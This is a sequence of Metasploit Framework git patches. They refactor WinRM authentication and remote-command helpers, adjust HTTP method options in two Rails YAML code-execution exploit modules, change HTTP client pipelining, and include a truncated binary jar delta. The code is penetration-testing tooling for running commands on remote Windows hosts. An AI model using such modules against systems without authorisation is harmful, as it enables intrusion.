a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb index 4066d047fe..6fafba24d9 100644 --- a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb +++ b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb @@ -55,8 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote [ Opt::RPORT(80), OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]), - OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"]) - + OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ]) ], self.class) end diff --git a/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb b/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb index 8743f76106..e5e5311505 100644 --- a/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb +++ b/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb @@ -53,8 +53,7 @@ class Metasploit3 < Msf::Exploit::Remote [ Opt::RPORT(80), OptString.new('URIPATH', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]), - OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"]) - + OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ]) ], self.class) register_evasion_options( From 44d4e298dcca40225ede5538bf9c46e7066fb97f Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 4 Feb 2013 15:48:31 -0600 Subject: [PATCH 117/448] Attempting to cleanup winrm auth --- lib/msf/core/exploit/winrm.rb | 118 ++++-------------- .../auxiliary/scanner/winrm/winrm_login.rb | 2 +- modules/auxiliary/scanner/winrm/winrm_wql.rb | 2 +- .../windows/winrm/winrm_script_exec.rb | 24 +--- 4 files changed, 29 insertions(+), 117 deletions(-) diff --git a/lib/msf/core/exploit/winrm.rb b/lib/msf/core/exploit/winrm.rb index 72b6a1f724..3eb7fae2ca 100644 --- a/lib/msf/core/exploit/winrm.rb +++ b/lib/msf/core/exploit/winrm.rb @@ -42,7 +42,7 @@ module Exploit::Remote::WinRM c = connect(opts) to = opts[:timeout] || timeout ctype = "application/soap+xml;charset=UTF-8" - resp, c = send_request_cgi(opts.merge({ + resp, c = send_winrm_request(opts.merge({ 'uri' => opts['uri'], 'method' => 'POST', 'ctype' => ctype, @@ -61,7 +61,7 @@ module Exploit::Remote::WinRM end def winrm_run_cmd(cmd, timeout=20) - resp,c = send_request_ntlm(winrm_open_shell_msg,timeout) + resp = send_winrm_request(winrm_open_shell_msg,timeout) if resp.nil? print_error "Recieved no reply from server" return nil @@ -76,17 +76,17 @@ module Exploit::Remote::WinRM return retval end shell_id = winrm_get_shell_id(resp) - resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id),timeout) + resp = send_winrm_request(winrm_cmd_msg(cmd, shell_id),timeout) cmd_id = winrm_get_cmd_id(resp) - resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id),timeout) + resp = send_winrm_request(winrm_cmd_recv_msg(shell_id,cmd_id),timeout) streams = winrm_get_cmd_streams(resp) - resp,c = send_request_ntlm(winrm_terminate_cmd_msg(shell_id,cmd_id),timeout) - resp,c = send_request_ntlm(winrm_delete_shell_msg(shell_id)) + resp = send_winrm_request(winrm_terminate_cmd_msg(shell_id,cmd_id),timeout) + resp = send_winrm_request(winrm_delete_shell_msg(shell_id)) return streams end def winrm_run_cmd_hanging(cmd, timeout=20) - resp,c = send_request_ntlm(winrm_open_shell_msg,timeout) + resp = send_winrm_request(winrm_open_shell_msg,timeout) if resp.nil? print_error "Recieved no reply from server" return nil @@ -101,9 +101,9 @@ module Exploit::Remote::WinRM return retval end shell_id = winrm_get_shell_id(resp) - resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id),timeout) + resp = send_winrm_request(winrm_cmd_msg(cmd, shell_id),timeout) cmd_id = winrm_get_cmd_id(resp) - resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id),timeout) + resp = send_winrm_request(winrm_cmd_recv_msg(shell_id,cmd_id),timeout) streams = winrm_get_cmd_streams(resp) return streams end @@ -219,94 +219,6 @@ module Exploit::Remote::WinRM ::Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16)) end - def send_request_ntlm(data, timeout = 20) - opts = { - 'uri' => datastore['URI'], - 'data' => data, - 'username' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'] - } - ntlm_options = { - :signing => false, - :usentlm2_session => datastore['NTLM::UseNTLM2_session'], - :use_ntlmv2 => datastore['NTLM::UseNTLMv2'], - :send_lm => datastore['NTLM::SendLM'], - :send_ntlm => datastore['NTLM::SendNTLM'] - } - ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options) - workstation_name = Rex::Text.rand_text_alpha(rand(8)+1) - domain_name = datastore['DOMAIN'] - ntlm_message_1 = "NEGOTIATE " + Rex::Text::encode_base64(NTLM_UTILS::make_ntlmssp_blob_init( domain_name, - workstation_name, - ntlmssp_flags)) - to = opts[:timeout] || timeout - begin - c = connect(opts) - ctype = "application/soap+xml;charset=UTF-8" - # First request to get the challenge - r = c.request_cgi(opts.merge({ - 'uri' => opts['uri'], - 'method' => 'POST', - 'ctype' => ctype, - 'headers' => { 'Authorization' => ntlm_message_1}, - 'data' => opts['data'] - })) - resp = c.send_recv(r, to) - unless resp.kind_of? Rex::Proto::Http::Response - return [nil,nil] - end - return [nil,nil] if resp.code == 404 - return [nil,nil] unless resp.code == 401 && resp.headers['WWW-Authenticate'] - # Get the challenge and craft the response - ntlm_challenge = resp.headers['WWW-Authenticate'].match(/NEGOTIATE ([A-Z0-9\x2b\x2f=]+)/i)[1] - return [nil,nil] unless ntlm_challenge - - #old and simplier method but not compatible with windows 7/2008r2 - #ntlm_message_2 = Rex::Proto::NTLM::Message.decode64(ntlm_challenge) - #ntlm_message_3 = ntlm_message_2.response( {:user => opts['username'],:password => opts['password']}, {:ntlmv2 => true}) - ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge) - blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(ntlm_message_2) - challenge_key = blob_data[:challenge_key] - server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error - #netbios name - default_name = blob_data[:default_name] || '' - #netbios domain - default_domain = blob_data[:default_domain] || '' - #dns name - dns_host_name = blob_data[:dns_host_name] || '' - #dns domain - dns_domain_name = blob_data[:dns_domain_name] || '' - #Client time - chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || '' - spnopt = {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} - resp_lm, - resp_ntlm, - client_challenge, - ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(opts['username'], opts['password'], challenge_key, - domain_name, default_name, default_domain, - dns_host_name, dns_domain_name, chall_MsvAvTimestamp, - spnopt, ntlm_options) - ntlm_message_3 = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, opts['username'], - resp_lm, resp_ntlm, '', ntlmssp_flags) - ntlm_message_3 = Rex::Text::encode_base64(ntlm_message_3) - # Send the response - r = c.request_cgi(opts.merge({ - 'uri' => opts['uri'], - 'method' => 'POST', - 'ctype' => ctype, - 'headers' => { 'Authorization' => "NEGOTIATE #{ntlm_message_3}"}, - 'data' => opts['data'] - })) - resp = c.send_recv(r, to, true) - unless resp.kind_of? Rex::Proto::Http::Response - return [nil,nil] - end - return [nil,nil] if resp.code == 404 - return [resp,c] - rescue ::Errno::EPIPE, ::Timeout::Error - end - end - def accepts_ntlm_auth parse_auth_methods(winrm_poke).include? "Negotiate" end @@ -329,6 +241,18 @@ module Exploit::Remote::WinRM return "/root/cimv2/" end + def send_winrm_request(data, timeout=20) + opts = { + 'uri' => datastore['URI'], + 'method' => 'POST', + 'data' => data, + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'], + 'ctype' => "application/soap+xml;charset=UTF-8" + } + send_request_cgi(opts,timeout) + end + private diff --git a/modules/auxiliary/scanner/winrm/winrm_login.rb b/modules/auxiliary/scanner/winrm/winrm_login.rb index d8012fb723..564e794b22 100644 --- a/modules/auxiliary/scanner/winrm/winrm_login.rb +++ b/modules/auxiliary/scanner/winrm/winrm_login.rb @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Auxiliary return end each_user_pass do |user, pass| - resp,c = send_request_ntlm(test_request) + resp = send_winrm_request(test_request) if resp.nil? print_error "#{ip}:#{rport}: Got no reply from the server, connection may have timed out" return diff --git a/modules/auxiliary/scanner/winrm/winrm_wql.rb b/modules/auxiliary/scanner/winrm/winrm_wql.rb index ed09cfd583..1588d9d385 100644 --- a/modules/auxiliary/scanner/winrm/winrm_wql.rb +++ b/modules/auxiliary/scanner/winrm/winrm_wql.rb @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary return end - resp,c = send_request_ntlm(winrm_wql_msg(datastore['WQL'])) + resp = send_winrm_request(winrm_wql_msg(datastore['WQL'])) if resp.nil? print_error "Got no reply from the server" return diff --git a/modules/exploits/windows/winrm/winrm_script_exec.rb b/modules/exploits/windows/winrm/winrm_script_exec.rb index 666ca66d3d..62e343a798 100644 --- a/modules/exploits/windows/winrm/winrm_script_exec.rb +++ b/modules/exploits/windows/winrm/winrm_script_exec.rb @@ -66,20 +66,8 @@ class Metasploit3 < Msf::Exploit::Remote @compat_mode = false end - def check - unless accepts_ntlm_auth - print_error "The Remote WinRM server does not appear to allow Negotiate (NTLM) auth" - return Msf::Exploit::CheckCode::Safe - end - - return Msf::Exploit::CheckCode::Vulnerable - end - - def exploit - unless check == Msf::Exploit::CheckCode::Vulnerable - return - end + unless valid_login? print_error "Login Failure. Recheck your credentials" return @@ -141,7 +129,7 @@ class Metasploit3 < Msf::Exploit::Remote def temp_dir print_status "Grabbing %TEMP%" - resp,c = send_request_ntlm(winrm_open_shell_msg) + resp = send_winrm_request(winrm_open_shell_msg) if resp.nil? print_error "Got no reply from the server" return nil @@ -152,16 +140,16 @@ class Metasploit3 < Msf::Exploit::Remote end shell_id = winrm_get_shell_id(resp) cmd = "echo %TEMP%" - resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id)) + resp= send_winrm_request(winrm_cmd_msg(cmd, shell_id)) cmd_id = winrm_get_cmd_id(resp) - resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id)) + resp = send_winrm_request(winrm_cmd_recv_msg(shell_id,cmd_id)) streams = winrm_get_cmd_streams(resp) return streams['stdout'].chomp end def check_remote_arch wql = %q{select AddressWidth from Win32_Processor where DeviceID="CPU0"} - resp,c = send_request_ntlm(winrm_wql_msg(wql)) + resp = send_winrm_request(winrm_wql_msg(wql)) #Default to x86 if we can't be sure return "x86" if resp.nil? or resp.code != 200 resp_tbl = parse_wql_response(resp) @@ -247,7 +235,7 @@ class Metasploit3 < Msf::Exploit::Remote def valid_login? data = winrm_wql_msg("Select Name,Status from Win32_Service") - resp,c = send_request_ntlm(data) + resp = send_winrm_request(data) unless resp.code == 200 return false end From af6b0615fb306a8f18cc9385b151da8629654986 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 4 Feb 2013 16:42:24 -0600 Subject: [PATCH 118/448] fix pipelining winrm is unforgiving of pipelining from non ntlm requests into the challenge response cycle. we must clear our initial tcp session before starting ntlm auth for winrm --- lib/rex/proto/http/client.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 9d019ebac8..c06de1884e 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -463,7 +463,7 @@ class Client r = request_cgi(opts.merge({ 'uri' => path, 'method' => method })) - resp = _send_recv(r, to, true) + resp = _send_recv(r, to) unless resp.kind_of? Rex::Proto::Http::Response return nil end @@ -610,7 +610,7 @@ class Client # First request to get the challenge opts['headers']['Authorization'] = ntlm_message_1 r = request_cgi(opts) - resp = _send_recv(r, to, true) + resp = _send_recv(r, to) unless resp.kind_of? Rex::Proto::Http::Response return nil end From 877fb017b635f6e4e9653ded428655cbac5a54ac Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 4 Feb 2013 16:50:43 -0600 Subject: [PATCH 119/448] remove negotiate requirements winrm can support basic, and now these modules can too, for free --- lib/msf/core/exploit/winrm.rb | 4 ---- modules/auxiliary/scanner/winrm/winrm_cmd.rb | 4 ---- modules/auxiliary/scanner/winrm/winrm_login.rb | 4 ---- modules/auxiliary/scanner/winrm/winrm_wql.rb | 5 ----- 4 files changed, 17 deletions(-) diff --git a/lib/msf/core/exploit/winrm.rb b/lib/msf/core/exploit/winrm.rb index 3eb7fae2ca..960bff05ce 100644 --- a/lib/msf/core/exploit/winrm.rb +++ b/lib/msf/core/exploit/winrm.rb @@ -219,10 +219,6 @@ module Exploit::Remote::WinRM ::Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16)) end - def accepts_ntlm_auth - parse_auth_methods(winrm_poke).include? "Negotiate" - end - def target_url proto = "http" if rport == 5986 or datastore['SSL'] diff --git a/modules/auxiliary/scanner/winrm/winrm_cmd.rb b/modules/auxiliary/scanner/winrm/winrm_cmd.rb index 12f0c70422..88e9e717d6 100644 --- a/modules/auxiliary/scanner/winrm/winrm_cmd.rb +++ b/modules/auxiliary/scanner/winrm/winrm_cmd.rb @@ -40,10 +40,6 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) - unless accepts_ntlm_auth - print_error "The Remote WinRM server (#{ip} does not appear to allow Negotiate(NTLM) auth" - return - end streams = winrm_run_cmd(datastore['CMD']) return unless streams.class == Hash print_error streams['stderr'] unless streams['stderr'] == '' diff --git a/modules/auxiliary/scanner/winrm/winrm_login.rb b/modules/auxiliary/scanner/winrm/winrm_login.rb index 564e794b22..946903113e 100644 --- a/modules/auxiliary/scanner/winrm/winrm_login.rb +++ b/modules/auxiliary/scanner/winrm/winrm_login.rb @@ -39,10 +39,6 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) - unless accepts_ntlm_auth - print_error "The Remote WinRM server (#{ip} does not appear to allow Negotiate(NTLM) auth" - return - end each_user_pass do |user, pass| resp = send_winrm_request(test_request) if resp.nil? diff --git a/modules/auxiliary/scanner/winrm/winrm_wql.rb b/modules/auxiliary/scanner/winrm/winrm_wql.rb index 1588d9d385..0c5eeb6274 100644 --- a/modules/auxiliary/scanner/winrm/winrm_wql.rb +++ b/modules/auxiliary/scanner/winrm/winrm_wql.rb @@ -42,11 +42,6 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) - unless accepts_ntlm_auth - print_error "The Remote WinRM server (#{ip} does not appear to allow Negotiate(NTLM) auth" - return - end - resp = send_winrm_request(winrm_wql_msg(datastore['WQL'])) if resp.nil? print_error "Got no reply from the server" From 447f78cb24e82b3e9ceecc03ff24c05b4a46c0bd Mon Sep 17 00:00:00 2001 From: scriptjunkie Date: Mon, 4 Feb 2013 17:19:54 -0600 Subject: [PATCH 120/448] Handle nonstandard ports when starting new msfrpcd. --- data/gui/msfgui.jar | Bin 800505 -> 799474 bytes .../msfguijava/src/msfgui/RpcConnection.java | 3 ++- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/data/gui/msfgui.jar b/data/gui/msfgui.jar index 3fc94594f6800e835ef71096f81f3f2411d5c11c..495e0ef2171c0fab4aa20bff970421e09b5352b5 100755 GIT binary patch delta 57073 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 